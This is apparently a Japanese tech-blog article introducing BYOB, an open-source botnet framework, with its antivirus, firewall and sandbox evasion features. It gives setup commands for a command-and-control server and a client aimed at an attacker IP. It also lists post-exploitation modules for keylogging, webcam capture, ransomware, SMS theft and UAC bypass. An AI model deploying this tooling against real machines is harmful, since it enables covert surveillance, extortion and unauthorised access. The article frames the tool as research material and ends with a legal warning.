Python
 Computer >> コンピューター >  >> プログラミング >> Python

独自のボットネットを構築して学ぶ――セキュリティ研究者向けフレームワーク「BYOB」とは

「BYOB(Build Your Own Botnet)」は、セキュリティ研究者や開発者が基本的なボットネットを構築・運用できるように設計されたオープンソースのフレームワークです。毎年数百万台のデバイスに感染し、現代のボットネットを生み出している高度なマルウェアへの理解を深め、こうした脅威への対策能力を高めることを目的としています。開発者は、RAT(リモートアクセスツール)やC&C(Command & Control)サーバーをゼロから作成することなく、独自のコードや新しい機能を簡単に追加できます。

主な特徴

  • ディスクに何も書き込まない ― クライアントは一時ファイルすらディスクに書き込みません。リモートインポート機能により、任意のコードが動的にメモリへロードされ、実行中のプロセスに直接インポートされるためです。

  • プラットフォーム非依存 ― すべてPythonで記述されており、生成されたクライアントはポータブル実行ファイル(Windows向け)にコンパイルしたり、スタンドアロンアプリケーションとしてバンドルしたりすることも可能です。

  • ファイアウォールの回避 ― クライアントはC&CサーバーへリバースTCP接続で接続します。多くのファイアウォールのデフォルト設定は着信接続を主にブロックするため、この方式ではほとんどのファイアウォールを通過できます。

  • アンチウイルスへの対抗策 ― 既知のアンチウイルス製品と同じ名前を持つプロセスの起動をブロックすることで、解析を回避します。

  • ペイロードの暗号化による解析防止 ― メインのクライアントペイロードはランダムな256ビット鍵で暗号化されています。この鍵は、ペイロードと同時に生成されるステージャー内にのみ存在します。

  • リバースエンジニアリングの防止 ― デフォルト設定では、仮想マシンやサンドボックス環境を検出すると、クライアントは実行を中止します。

インストール方法

  • git clone https://github.com/malwaredllc/byob.git

  • cd byob

  • pip install -r requirements.txt

  • python setup.py
    ここでは2つのターミナルを使用します。1つ目のターミナルはボットサーバー(セッションを管理)用、2つ目はボットクライアント(ボットを生成)用です。

  • python server.py --port 445
    その後、別のLinuxターミナルを開き、次のように入力します。
    cd /home/cybersecurity/Downloads/byob/byob

  • python client.py --name testbot.py 192.168.1.10(攻撃者側IPアドレス) 445

上記のコマンドを実行すると、新しいボットネットが作成されます。実際の攻撃シナリオでは、攻撃者がソーシャルエンジニアリングなどを利用して標的のマシン上でボットを実行させることがありますが、学習目的では必ず自分自身の検証環境でテストしてください。検証マシン上でtestbot.pyが実行されると、ボットネットサーバー側にセッションが確立されます。

事後侵入(Post-Exploitation)モジュール

以下のモジュールは、被害端末へのボットネット構成が成功した後に、クライアントからリモートでインポートして利用できるものです。

  • キーロガー(byob.modules.keylogger):ユーザーのキーストロークと入力先ウィンドウ名を記録する

  • スクリーンショット(byob.modules.screenshot):現在のユーザーのデスクトップ画面をキャプチャする

  • ウェブカメラ(byob.modules.webcam):ウェブカメラのライブ映像を視聴したり、画像・動画を撮影する

  • ランサム(byob.modules.ransom):ファイルを暗号化し、身代金支払い用のランダムなBTCウォレットを生成する

  • パケットスニッファー(byob.modules.packetsniffer):ホストのネットワーク上でパケットキャプチャを実行し、.pcapファイルをアップロードする

  • 永続化(byob.modules.persistence):ホストマシン上に永続性を確立する

  • スマートフォン(byob.modules.phone):クライアントのスマートフォンからテキストメッセージを読み取り・検索・アップロードする

  • 権限昇格(byob.modules.escalate):UACバイパスを試み、管理者権限を不正に取得する

  • ポートスキャナー(byob.modules.portscanner):ローカルネットワーク上の他のオンラインデバイスと開いているポートをスキャンする

  • プロセス制御(byob.modules.process):ホスト上で実行中のプロセスの一覧表示・検索・強制終了・監視を行う

利用にあたっての注意

BYOBはあくまでセキュリティ研究および教育目的のツールです。許可なく他人のコンピュータやネットワークに対して使用することは、不正アクセス禁止法をはじめとする各国の法律に抵触し、重大な法的責任を問われる可能性があります。必ず自分自身の隔離された検証環境、または明示的な許可を得た環境でのみ使用してください。

  1. 自分専用のクラウドPCを構築する方法【Paperspace+Parsec活用ガイド】

    どこからでもアクセスできるパソコンが欲しいと思ったことはありませんか?そんなときに便利なのが「クラウドPC」です。外出先から自分のファイルにアクセスできるだけでなく、高性能なゲーミングPCをレンタルすれば、今のマシンでは到底動かせないようなゲームも快適にプレイできます。 さらに、レンタルしたクラウドPCを自分好みにカスタマイズできたら理想的ですよね。実は、オンラインサービスと「Parsec」というアプリを組み合わせれば、それが簡単に実現できるのです。 クラウドPCのセットアップ手順 まずは、クラウドPCを利用できるサービスを選びましょう。Amazon AWSなど選択肢は多数ありますが、この記

  2. 自分だけのWikiサイトの作り方|初心者向けにGoogle Sitesでの作成手順を解説

    Wikiサイトの最大級の成功例として挙げられるのがWikipediaです。Wikipediaの記事は世界中のボランティアによって執筆・投稿されており、編集や運営もボランティアが担いながら、誰もが自由に貢献できる仕組みを採用しています。その結果、Wikipediaは世界で最も人気のあるウェブサイトトップ10にランクインし、毎月数億人の読者が訪れ、250以上の言語で数百万件もの記事が公開されています。 Wikiとは、プロジェクトメンバーと情報を共有しながら協働作業を進めるのに最適なツールです。チームや組織のナレッジを収集・蓄積したり、複数の情報源からコンテンツを集約したり、アイデアや計画を共有し